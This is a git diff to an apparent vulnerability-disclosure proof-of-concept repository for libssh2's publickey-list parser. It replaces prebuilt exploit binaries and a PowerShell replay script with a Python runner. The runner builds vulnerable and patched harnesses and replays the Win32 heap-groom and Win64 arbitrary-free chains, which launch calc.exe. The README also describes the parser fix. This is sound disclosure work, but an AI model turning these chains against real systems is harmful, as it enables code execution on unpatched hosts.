diff --git a/.gitignore b/.gitignore index fafff2e..328e579 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,5 @@ .DS_Store Thumbs.db +libssh2-publickey-list-calc-poc/build/ +libssh2-publickey-list-calc-poc/x86_calc_payload_reached.txt +libssh2-publickey-list-calc-poc/x64_calc_payload_reached.txt diff --git a/libssh2-publickey-list-calc-poc/README.md b/libssh2-publickey-list-calc-poc/README.md index ccc1d99..ec348c1 100644 --- a/libssh2-publickey-list-calc-poc/README.md +++ b/libssh2-publickey-list-calc-poc/README.md @@ -41,26 +41,33 @@ reject num_attrs values that overflow the attrs allocation multiplication ```text poc/publickey_win32_heap_groom_calc_repro.c -poc/publickey_win32_heap_groom_calc_repro.exe -poc/publickey_win32_heap_groom_calc_repro_checked.exe poc/publickey_win64_arbitrary_free_calc_repro.c -poc/publickey_win64_arbitrary_free_calc_repro.exe -poc/publickey_win64_arbitrary_free_calc_repro_checked.exe -replay-calc-poc.ps1 +replay-calc-poc.py evidence/2026-06-25-local-calc-replay.txt SHA256SUMS.txt ``` -The checked binaries link against a publickey object with the two parser hardening changes above. The vulnerable binaries link against the target commit. +The replay runner builds temporary vulnerable and checked executables under `build/`. The checked executables link against a publickey object with the two parser hardening changes above. The vulnerable executables link against the target commit. ## Quick replay -Run on Windows: +Set `LIBSSH2_SRC` to a libssh2 checkout and `LIBSSH2_OBJDIR` to a directory containing these objects: -```powershell -.\replay-calc-poc.ps1 +```text +publickey_win32.o +publickey_win32_checked.o +publickey_win64.o +publickey_win64_checked.o ``` +Run with Python 3: + +```sh +python3 replay-calc-poc.py +``` + +Windows runs the generated PE harnesses directly. Linux and macOS run them through Wine when `wine` is on `PATH`. + Expected proof signals: ```text @@ -79,7 +86,7 @@ victim_freed=0 safe_callback_reached ``` -The replay starts `calc.exe` for both vulnerable harnesses and writes transient marker files during execution. The marker files are runtime artifacts and are left out of the tracked tree. +The replay builds local executables, starts `calc.exe` for both vulnerable harnesses, and writes transient marker files during execution. The generated files are runtime artifacts and are left out of the tracked tree. ## Win32 chain @@ -177,18 +184,18 @@ list_free trusts packet and attrs fields until a sentinel entry ## Rebuild notes -The binaries were built with MinGW-w64 and linked against `publickey.c` objects compiled from the target commit and from the checked variant. +The replay runner uses MinGW-w64 and links against `publickey.c` objects compiled from the target commit and from the checked variant. Equivalent source build shape: -```powershell -x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64.o -lws2_32 -lbcrypt +```sh +x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win64_arbitrary_free_calc_repro.exe poc/publickey_win64_arbitrary_free_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win64.o" -lws2_32 -lbcrypt -x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro_checked.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64_checked.o -lws2_32 -lbcrypt +x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win64_arbitrary_free_calc_repro_checked.exe poc/publickey_win64_arbitrary_free_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win64_checked.o" -lws2_32 -lbcrypt -i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32.o -lws2_32 -lbcrypt +i686-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win32_heap_groom_calc_repro.exe poc/publickey_win32_heap_groom_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win32.o" -lws2_32 -lbcrypt -i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro_checked.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32_checked.o -lws2_32 -lbcrypt +i686-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win32_heap_groom_calc_repro_checked.exe poc/publickey_win32_heap_groom_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win32_checked.o" -lws2_32 -lbcrypt ``` ## Fix shape @@ -203,4 +210,4 @@ Before attrs allocation: if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the response ``` -These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked binaries. +These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked executables. diff --git a/libssh2-publickey-list-calc-poc/SHA256SUMS.txt b/libssh2-publickey-list-calc-poc/SHA256SUMS.txt index 5b0a04a..e568b37 100644 --- a/libssh2-publickey-list-calc-poc/SHA256SUMS.txt +++ b/libssh2-publickey-list-calc-poc/SHA256SUMS.txt @@ -1,9 +1,5 @@ 1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt 641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c -52F74CD7ACA634B1C3BA3CED07E3B5B7751CBAA751384036412B02F9278C0696 poc/publickey_win32_heap_groom_calc_repro.exe -4781A6DC8CFDE85429D75D03B3E2A7F27158995C68647973D6613D6217244165 poc/publickey_win32_heap_groom_calc_repro_checked.exe D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c -B38B1033D31CEB96820F968889EC777B5F592C9145F4D23C2291B750D9B38F7B poc/publickey_win64_arbitrary_free_calc_repro.exe -D51415DBA11B634EFE126ACE3CA887CF4B32198C5A479931FBC68D24308E5266 poc/publickey_win64_arbitrary_free_calc_repro_checked.exe -A033AF42313BCCA3C3D9D76C343388A2C096DC71C305FD010FEC640CA07D3D19 README.md -2E88D97AEB90BBCBC72EFB73D493E64437E5E472F4DF21608F93E8141669E012 replay-calc-poc.ps1 +1A7EFC4E852071DC15930E9028D77851293E4233C6B79A7ADC3AE545A7846AD0 README.md +2FAEE0238091D998A6D9E069B0B5D001F9E5AF7CDFA9A9DCA4346037D5526B64 replay-calc-poc.py diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.exe deleted file mode 100644 index cf8180c..0000000 Binary files a/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.exe and /dev/null differ diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro_checked.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro_checked.exe deleted file mode 100644 index fcd6138..0000000 Binary files a/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro_checked.exe and /dev/null differ diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.exe deleted file mode 100644 index 8eccbd3..0000000 Binary files a/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.exe and /dev/null differ diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro_checked.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro_checked.exe deleted file mode 100644 index bd34930..0000000 Binary files a/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro_checked.exe and /dev/null differ diff --git a/libssh2-publickey-list-calc-poc/replay-calc-poc.ps1 b/libssh2-publickey-list-calc-poc/replay-calc-poc.ps1 deleted file mode 100644 index 2b11bef..0000000 --- a/libssh2-publickey-list-calc-poc/replay-calc-poc.ps1 +++ /dev/null @@ -1,76 +0,0 @@ -$ErrorActionPreference = "Continue" - -$Root = Split-Path -Parent $MyInvocation.MyCommand.Path -$Poc = Join-Path $Root "poc" -Set-Location -LiteralPath $Root - -function Show-Matches($text, $patterns) { - $pattern = [string]::Join("|", $patterns) - $text | Select-String -Pattern $pattern -} - -Remove-Item -LiteralPath (Join-Path $Root "x86_calc_payload_reached.txt") -ErrorAction SilentlyContinue -Remove-Item -LiteralPath (Join-Path $Root "x64_calc_payload_reached.txt") -ErrorAction SilentlyContinue - -Write-Output "== Win32 publickey-list calc chain ==" -$x86v = Join-Path $Poc "publickey_win32_heap_groom_calc_repro.exe" -$x86c = Join-Path $Poc "publickey_win32_heap_groom_calc_repro_checked.exe" -$x86Args = @("3", "n", "call", "4068") -$hit = 0 -$hitOut = $null - -for($i = 1; $i -le 30; $i++) { - $out = & $x86v @x86Args 2>&1 - if($LASTEXITCODE -eq 77) { - $hit = $i - $hitOut = $out - break - } -} - -if($hit) { - Write-Output "x86_vulnerable_calc=hit attempt=$hit limit=30" - Show-Matches $hitOut @("attrs_alloc", "victim\[", "marker_function_reached", "calc_launch") -} -else { - Write-Output "x86_vulnerable_calc=miss limit=30" -} - -if(Test-Path (Join-Path $Root "x86_calc_payload_reached.txt")) { - Get-Content (Join-Path $Root "x86_calc_payload_reached.txt") -} - -$checkedHit = 0 -for($i = 1; $i -le 30; $i++) { - & $x86c @x86Args *> $null - if($LASTEXITCODE -eq 77) { - $checkedHit = $i - break - } -} - -if($checkedHit) { - Write-Output "x86_checked_calc=unexpected_hit attempt=$checkedHit limit=30" -} -else { - Write-Output "x86_checked_calc=no_hit limit=30" -} - -Write-Output "" -Write-Output "== Win64 publickey-list calc chain ==" -$x64v = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro.exe" -$x64c = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro_checked.exe" -$x64Out = & $x64v calc 2>&1 -$x64Exit = $LASTEXITCODE - -Write-Output "x64_vulnerable_calc_exit=$x64Exit" -Show-Matches $x64Out @("victim=", "free ptr=", "free_ignored_unknown", "victim_freed=", "same_as_victim=1", "calc_payload_reached", "calc_launch") - -if(Test-Path (Join-Path $Root "x64_calc_payload_reached.txt")) { - Get-Content (Join-Path $Root "x64_calc_payload_reached.txt") -} - -$x64CheckedOut = & $x64c calc 2>&1 -$x64CheckedExit = $LASTEXITCODE -Write-Output "x64_checked_calc_exit=$x64CheckedExit" -Show-Matches $x64CheckedOut @("victim_freed=", "same_as_victim=", "safe_callback_reached", "calc_payload_reached", "calc_launch") diff --git a/libssh2-publickey-list-calc-poc/replay-calc-poc.py b/libssh2-publickey-list-calc-poc/replay-calc-poc.py new file mode 100644 index 0000000..9e7bdd3 --- /dev/null +++ b/libssh2-publickey-list-calc-poc/replay-calc-poc.py @@ -0,0 +1,244 @@ +import os +import platform +import re +import shutil +import subprocess +import sys +from pathlib import Path + + +ROOT = Path(__file__).resolve().parent +POC = ROOT / "poc" +BUILD = ROOT / "build" +MARKERS = [ + ROOT / "x86_calc_payload_reached.txt", + ROOT / "x64_calc_payload_reached.txt", +] +TARGETS = [ + { + "name": "x86_vulnerable", + "compiler_env": "CC_WIN32", + "compiler": "i686-w64-mingw32-gcc", + "source": POC / "publickey_win32_heap_groom_calc_repro.c", + "object": "publickey_win32.o", + "exe": BUILD / "publickey_win32_heap_groom_calc_repro.exe", + }, + { + "name": "x86_checked", + "compiler_env": "CC_WIN32", + "compiler": "i686-w64-mingw32-gcc", + "source": POC / "publickey_win32_heap_groom_calc_repro.c", + "object": "publickey_win32_checked.o", + "exe": BUILD / "publickey_win32_heap_groom_calc_repro_checked.exe", + }, + { + "name": "x64_vulnerable", + "compiler_env": "CC_WIN64", + "compiler": "x86_64-w64-mingw32-gcc", + "source": POC / "publickey_win64_arbitrary_free_calc_repro.c", + "object": "publickey_win64.o", + "exe": BUILD / "publickey_win64_arbitrary_free_calc_repro.exe", + }, + { + "name": "x64_checked", + "compiler_env": "CC_WIN64", + "compiler": "x86_64-w64-mingw32-gcc", + "source": POC / "publickey_win64_arbitrary_free_calc_repro.c", + "object": "publickey_win64_checked.o", + "exe": BUILD / "publickey_win64_arbitrary_free_calc_repro_checked.exe", + }, +] + + +def runner(): + if platform.system() == "Windows": + print("runner=native-windows") + return [] + + wine = shutil.which("wine") or shutil.which("wine64") + if wine is None: + print("runner=missing-wine") + print("install_wine_or_run_on_windows") + sys.exit(2) + + print(f"runner={wine}") + return [wine] + + +def env_path(name): + value = os.environ.get(name, "").strip() + if value == "": + print(f"missing_env={name}") + sys.exit(2) + return Path(value) + + +def compiler(target): + value = os.environ.get(target["compiler_env"], "").strip() + selected = target["compiler"] + if value != "": + selected = value + found = shutil.which(selected) + if found is None: + print(f"missing_tool={selected}") + sys.exit(2) + return found + + +def build_targets(): + src = env_path("LIBSSH2_SRC") + objdir = env_path("LIBSSH2_OBJDIR") + BUILD.mkdir(exist_ok=True) + + for target in TARGETS: + obj = objdir / target["object"] + if obj.exists() is False: + print(f"missing_object={obj}") + sys.exit(2) + + command = [ + compiler(target), + "-O2", + "-s", + "-DLIBSSH2_WINCNG", + f"-I{src / 'src'}", + f"-I{src / 'include'}", + "-o", + str(target["exe"]), + str(target["source"]), + str(obj), + "-lws2_32", + "-lbcrypt", + ] + print(f"building={target['name']}") + completed = subprocess.run( + command, + cwd=str(ROOT), + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + errors="replace", + ) + if completed.returncode != 0: + print(completed.stdout, end="") + print(f"build_failed={target['name']} exit={completed.returncode}") + sys.exit(completed.returncode) + + +def run_exe(prefix, exe, args): + completed = subprocess.run( + prefix + [str(exe)] + args, + cwd=str(ROOT), + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + errors="replace", + ) + return completed.returncode, completed.stdout.splitlines() + + +def show_matches(lines, patterns): + expression = re.compile("|".join(patterns)) + for line in lines: + if expression.search(line): + print(line) + + +def remove_markers(): + for marker in MARKERS: + try: + marker.unlink() + except FileNotFoundError: + pass + + +def show_marker(name): + marker = ROOT / name + if marker.exists(): + text = marker.read_text(errors="replace").strip() + if len(text) > 0: + print(text) + + +def replay_x86(prefix): + print("== Win32 publickey-list calc chain ==") + vulnerable = BUILD / "publickey_win32_heap_groom_calc_repro.exe" + checked = BUILD / "publickey_win32_heap_groom_calc_repro_checked.exe" + args = ["3", "n", "call", "4068"] + hit = 0 + hit_lines = [] + + for attempt in range(1, 31): + code, lines = run_exe(prefix, vulnerable, args) + if code == 77: + hit = attempt + hit_lines = lines + break + + if hit > 0: + print(f"x86_vulnerable_calc=hit attempt={hit} limit=30") + show_matches(hit_lines, ["attrs_alloc", r"victim\[", "marker_function_reached", "calc_launch"]) + else: + print("x86_vulnerable_calc=miss limit=30") + + show_marker("x86_calc_payload_reached.txt") + + checked_hit = 0 + for attempt in range(1, 31): + code, lines = run_exe(prefix, checked, args) + if code == 77: + checked_hit = attempt + break + + if checked_hit > 0: + print(f"x86_checked_calc=unexpected_hit attempt={checked_hit} limit=30") + else: + print("x86_checked_calc=no_hit limit=30") + + +def replay_x64(prefix): + print("") + print("== Win64 publickey-list calc chain ==") + vulnerable = BUILD / "publickey_win64_arbitrary_free_calc_repro.exe" + checked = BUILD / "publickey_win64_arbitrary_free_calc_repro_checked.exe" + + code, lines = run_exe(prefix, vulnerable, ["calc"]) + print(f"x64_vulnerable_calc_exit={code}") + show_matches( + lines, + [ + "victim=", + "free ptr=", + "free_ignored_unknown", + "victim_freed=", + "same_as_victim=1", + "calc_payload_reached", + "calc_launch", + ], + ) + show_marker("x64_calc_payload_reached.txt") + + checked_code, checked_lines = run_exe(prefix, checked, ["calc"]) + print(f"x64_checked_calc_exit={checked_code}") + show_matches( + checked_lines, + [ + "victim_freed=", + "same_as_victim=", + "safe_callback_reached", + "calc_payload_reached", + "calc_launch", + ], + ) + + +def main(): + remove_markers() + build_targets() + prefix = runner() + replay_x86(prefix) + replay_x64(prefix) + + +if __name__ == "__main__": + main()